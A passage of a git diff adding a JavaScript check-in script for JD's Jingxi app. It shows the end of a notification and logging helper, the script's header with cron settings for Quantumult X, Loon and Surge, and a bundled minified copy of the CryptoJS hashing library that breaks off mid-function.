i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jx_sign_xd.js b/jx_sign_xd.js new file mode 100644 index 0000000..54c5f7a --- /dev/null +++ b/jx_sign_xd.js @@ -0,0 +1,399 @@ +/* +京喜签到-喜豆 +cron 30 2,9 * * * jx_sign_xd.js +活动入口:京喜APP-我的-京喜签到-喜豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到-喜豆 +30 2,9 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, tag=京喜签到-喜豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "30 2,9 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js,tag=京喜签到-喜豆 + +===============Surge================= +京喜签到-喜豆 = type=cron,cronexp="30 2,9 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js + +============小火箭========= +京喜签到-喜豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, cronexpr="30 2,9 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u 